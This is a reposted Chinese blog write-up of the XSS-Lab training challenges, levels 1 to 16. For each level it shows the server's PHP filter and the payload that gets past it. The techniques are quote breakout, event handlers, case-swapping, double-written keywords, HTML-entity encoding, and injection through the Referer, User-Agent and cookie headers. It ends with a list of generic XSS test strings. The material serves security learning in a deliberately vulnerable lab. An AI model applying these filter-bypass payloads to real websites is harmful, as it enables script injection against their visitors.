0


XSS-Lab(XSS注入笔记1-16)

前言

本篇博客主要是记录笔者完成

XSS-Lab

步骤以及分析

题目链接:https://buuoj.cn/challenges#XSS-Lab

Github仓库:https://github.com/rebo-rn/xss-lab

出题人的题解:https://github.com/Re13orn/xss-lab/blob/master/XSSwrite%20up.docx

ps:仓库可以看代码即白盒测试

level1(直接注入)

在这里插入图片描述
我们发现网址后面有一个

name

的参数,猜测这里是否存在注入,我们先随便输入一个参数,例如

name=kaptree

,我们可以看到直接就显示欢迎

kaptree

在这里插入图片描述

于是我们这里直接注入

name=<script>alert(1)</script>

ok,成功注入

在这里插入图片描述

level2(闭合标签)

在这里插入图片描述
我们发现有一个输入框,于是先认为这里可以注入,填上

keyword=<script>alert(1)</script>

,我们发现并不能注入

在这里插入图片描述
我们直接看一下相应的源码:

<!DOCTYPEhtml><!--STATUS OK--><html><head><metahttp-equiv="content-type"content="text/html;charset=utf-8"><script>
window.alert=function(){confirm("完成的不错!");
 window.location.href="level3.php?writing=wait";}</script><title>欢迎来到level2</title></head><body><h1align=center>欢迎来到level2</h1><h2align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center><formaction=level2.phpmethod=GET><inputname=keywordvalue="<script>alert(1)</script>"><inputtype=submitname=submitvalue="搜索"/></form></center><center><imgsrc=level2.png></center><h3align=center>payload的长度:25</h3></body></html>

我们发现

<input name=keyword value="<script>alert(1)</script>">

这里他直接把我们输入的内容进行替换,于是我们通过

"

绕过,即

keyword="><script>alert(1)</script>

在这里插入图片描述

level3(绕过htmlspecials()函数)

在这里插入图片描述
仍然先尝试

level2

的方式注入,发现并没有用,于是我们打开网页代码看看

在这里插入图片描述

<!DOCTYPEhtml><!--STATUS OK--><html><head><metahttp-equiv="content-type"content="text/html;charset=utf-8"><script>
window.alert=function(){confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!";}</script><title>欢迎来到level3</title></head><body><h1align=center>欢迎来到level3</h1><h2align=center>没有找到和&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center><formaction=level3.phpmethod=GET><inputname=keywordvalue='&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;'><inputtype=submitname=submitvalue=搜索/></form></center><center><imgsrc=level3.png></center><h3align=center>payload的长度:27</h3></body></html>

我们发现我们输入里面的标识符都被替换成了转义符,于是我们不能使用刚才的方式了,我们发现

'

没被替换,于是我们可以给当前的位置绑定一个点击事件:

keyword=' onclick='alert(1)

,然后需要点击一下输入框

在这里插入图片描述

level4(onclick绕过)

在这里插入图片描述
尝试之前的注入方式,发现行不通,然后查看源码

<!DOCTYPEhtml><!--STATUS OK--><html><head><metahttp-equiv="content-type"content="text/html;charset=utf-8"><script>
window.alert=function(){confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!";}</script><title>欢迎来到level4</title></head><body><h1align=center>欢迎来到level4</h1><h2align=center>没有找到和' οnclick='alert(1)相关的结果.</h2><center><formaction=level4.phpmethod=GET><inputname=keywordvalue="' οnclick='alert(1)"><inputtype=submitname=submitvalue=搜索/></form></center><center><imgsrc=level4.png></center><h3align=center>payload的长度:19</h3></body></html>

猜测是双引号的问题,于是:

keyword=" onclick="alert(1)

在这里插入图片描述

level5(绕过检测<script和on事件)

在这里插入图片描述
尝试之前的注入方式,发现并不能注入,此时查看返回的代码:

<!DOCTYPEhtml><!--STATUS OK--><html><head><metahttp-equiv="content-type"content="text/html;charset=utf-8"><script>
window.alert=function(){confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!";}</script><title>欢迎来到level5</title></head><body><h1align=center>欢迎来到level5</h1><h2align=center>没有找到和&quot; οnclick=&quot;alert(1)相关的结果.</h2><center><formaction=level5.phpmethod=GET><inputname=keywordvalue=""o_nclick="alert(1)"><inputtype=submitname=submitvalue=搜索/></form></center><center><imgsrc=level5.png></center><h3align=center>payload的长度:20</h3></body></html>

发现我们的

onclick

被过滤了,我们再试试之前的

keyword="><script>alert(1)</script>

,发现

<inputname=keywordvalue=""><scr_ipt>alert(1)</script>">

发现关键词也被过滤了,于是我们使用

<a></a>

标签绕过,即

keyword="><a href="javascript:alert(1)"

然后点击一下图片或者下方的文字即可

在这里插入图片描述
在源文件中我们也可以看到,有一些关键字被过滤掉了,即

<script

on
<?phpini_set("display_errors",0);$str=strtolower($_GET["keyword"]);$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);echo"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';?>

level6(大小写绕过)

在这里插入图片描述

同样,我们先尝试之前的注入方式

<inputname=keywordvalue=""><ahr_ef="javascript:alert(1)">

我们发现它把

href

也过滤了,于是我们直接明牌!,看一下它代码:

<?phpini_set("display_errors",0);$str=$_GET["keyword"];$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);echo"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';?>

我们发现,

<script

on

src

data

href

这几个关键字被过滤掉了,因为是直接过滤的,而

html

中大小写是不敏感的,于是我们直接变一下大小写即可

keyword="><a Href="javascript:alert(1)

,然后再点一下图片

在这里插入图片描述

level7(双写绕过标签过滤)

在这里插入图片描述

老样子,我们先试一下之前的注入,结果发现

script

直接被过滤了

<inputname=keywordvalue=""><a ="java:alert(1)">

我们打开源码看看

<?phpini_set("display_errors",0);$str=strtolower($_GET["keyword"]);$str2=str_replace("script","",$str);$str3=str_replace("on","",$str2);$str4=str_replace("src","",$str3);$str5=str_replace("data","",$str4);$str6=str_replace("href","",$str5);echo"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';?>

这里将

keyword

转为小写然后再直接过滤的了,那么我们可以嵌套一下,例如:

如果我们想得到

script

显然这里会直接替换掉关键字,那么我们就可以传入

sscriptcript

,这样被替换后就是我们想要的

script

了,同理

href

替换为

hhrefref

,即:

keyword="><a hhrefref="javasscriptcript:alert(1)

在这里插入图片描述

level8(ASCII编码绕过)

在这里插入图片描述
我们使用上一个注入方式,发现这次没有对

keyword

做过滤,而是做了一个转义符的替换

<inputname=keywordvalue="&quot;&gt;&lt;a hhrefref=&quot;javasscriptcript:alert(1)">

没思路,于是看看源码

<?phpini_set("display_errors",0);$str=strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','&quot',$str6);echo'<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';?><?php
 echo'<center><BR><a href="'.$str7.'">友情链接</a></center>';?>

我们发现两个地方可能存在渗透,第一个就是我们之前一直注入的

input

框,看了源码后发现没想到啥方法注入,反而是友情链接这里,我们发现

$str7

只是做了一个简单的字符过滤,于是我们直接在这里将

javascript:alert(1)

中的字符使用

HTML

字符实体转换后注入即可:

keyword=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;
HTML

字符实体转换器:https://www.qqxiuzi.cn/bianma/zifushiti.php

在这里插入图片描述

level9(必要字段+ASCII编码绕过)

在这里插入图片描述
先把上一个注入操作复刻一下,但是发现不合法

</center><center><BR><ahref="您的链接不合法?有没有!">友情链接</a></center><center><imgsrc=level9.png></center>

于是我们打开源码:

<?phpini_set("display_errors",0);$str=strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','&quot',$str6);echo'<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';?><?php
if(false===strpos($str7,'http://')){echo'<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}else{echo'<center><BR><a href="'.$str7.'">友情链接</a></center>';}?>

我们发现多了一个

if(false===strpos($str7,'http://'))

,也就是说在传入的数据中需要含有

http://

,那我们直接放在

alert

中即可,于是得到:

keyword=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;('http://')

然后点一下这个 友情链接
在这里插入图片描述

level10(利用hidden参数传递数据)

在这里插入图片描述
直接看源码吧:

<?phpini_set("display_errors",0);$str=$_GET["keyword"];$str11=$_GET["t_sort"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';?>

我们发现注入点可能是

t_sort

,然后发现过滤了

<

>

两个符号,那直接绑定

onmouseover

事件注入即可,注意的是这里的

type

hidden

的,我们需要改一下,不然就点不到了,于是得到

t_sort=" onmouseover='alert(1)' type="text

,当然绑定

onclick

事件也是可以的

t_sort=" onclick='alert(1)' type="text

不同的是前者只需要鼠标移过去触发,后者需要点一下输入框

在这里插入图片描述

level11(REFERER注入)

在这里插入图片描述

<?phpini_set("display_errors",0);$str=$_GET["keyword"];$str00=$_GET["t_sort"];$str11=$_SERVER['HTTP_REFERER'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';?>

查看源码,我们发现,可能存在渗透的地方就是

HTTP_REFERER

,因为

t_sort

这里直接使用

htmlspecialchars

转义了,而

$str33

只是过滤了

>

<

,所以只需要携带一个注入的语句访问网站即可,于是我们这里使用

hackbar

然后访问目标网址即可,

Referer:" onclick='alert(1)' type="text

然后鼠标点一下框就行

在这里插入图片描述

level12(USER_AGENT注入)

在这里插入图片描述

<?phpini_set("display_errors",0);$str=$_GET["keyword"];$str00=$_GET["t_sort"];$str11=$_SERVER['HTTP_USER_AGENT'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';?>

看完源码后发现……(这里其实也可以不看源码,直接看

html

的返回的内容也能猜出),和上面差不多,只不过注入的位置变成了

USER_AGENT

,那么直接开注!

USER_AGENT:" onclick='alert(1)' type="text

在这里插入图片描述

level13(cookies注入)

在这里插入图片描述
看了一眼相应代码,猜测是

cookies

注入,于是冲一发:

cookies:user=" onclick='alert(1)' type="text

在这里插入图片描述

然后成功注入~

level14(利用文件解析xss)

打不开这个,貌似是网站http://www.exifviewer.org/ 挂掉了,那就算过了吧~

看了一下作者的解法

在这里插入图片描述

level15

吐了,也打开不了,那个啥

js

加载不了了

level 16(回车替换空格)

在这里插入图片描述

找不到注入点,于是我们看看源码:

<?phpini_set("display_errors",0);$str=strtolower($_GET["keyword"]);$str2=str_replace("script","&nbsp;",$str);$str3=str_replace(" ","&nbsp;",$str2);$str4=str_replace("/","&nbsp;",$str3);$str5=str_replace("    ","&nbsp;",$str4);echo"<center>".$str5."</center>";?>

原来是传入

keyword

然后过滤数据,只有这个注入点了,我们又发现

script

、、

/

这三个字符都被过滤了,于是我们考虑传入

<a>

标签,然后用

%0a

(换行符)代替空格,即

keyword=<a%0aonclick='alert(1)'>

在这里插入图片描述

level17

寄,显示不出来,好像后面的都是这样

在这里插入图片描述

做题小结(出题人的)

做了20题(14题)下来,可以发现难度是依次上升的。
这里主要谈谈个人做题的一个基本思路。一般看到一道题目后,先观察题目的类型,猜想哪个地方哪个参数可能存在注入,也就是前期分析,往下是代码分析,具体分析网页的源代码甚至可以的话看看题目代码,可以加深对题目做了怎样的限制的认知,再往下,就是不断尝试,输入自己构造好的测试

payload

来做更多的判断。有的题目你可能一时找不到注入点,你可以用

BURP

抓包看看到底具体数据在哪个位置传输,有可能是

HTTP

头部的某一个字段也可能是正文部分。后面几道较难的是,这几题前提是你需要了解某些知识后才能做得出来,比如某某框架存在

xss

漏洞,或者某种文件解析可以解析

xss

等等,这时可以去乌云知识库去查查,一般都能找到对应的知识模块。
题目分析+测试语句+代码分析

基础测试语句:

'';!--"<XSS>=&{()}
<script>alert(/1/)</script>
<img scr=1 onerror="alert(/1/)">
<img src="javascript:alert('1');">
<a href="javascript:alert(1)"> 

绕过:大小写,编码,双写等等

标签: xss php 安全

本文转载自: https://blog.csdn.net/m0_46201544/article/details/127578322
版权归原作者 MangataTS 所有, 如有侵权,请联系我们删除。

“XSS-Lab(XSS注入笔记1-16)”的评论:

还没有评论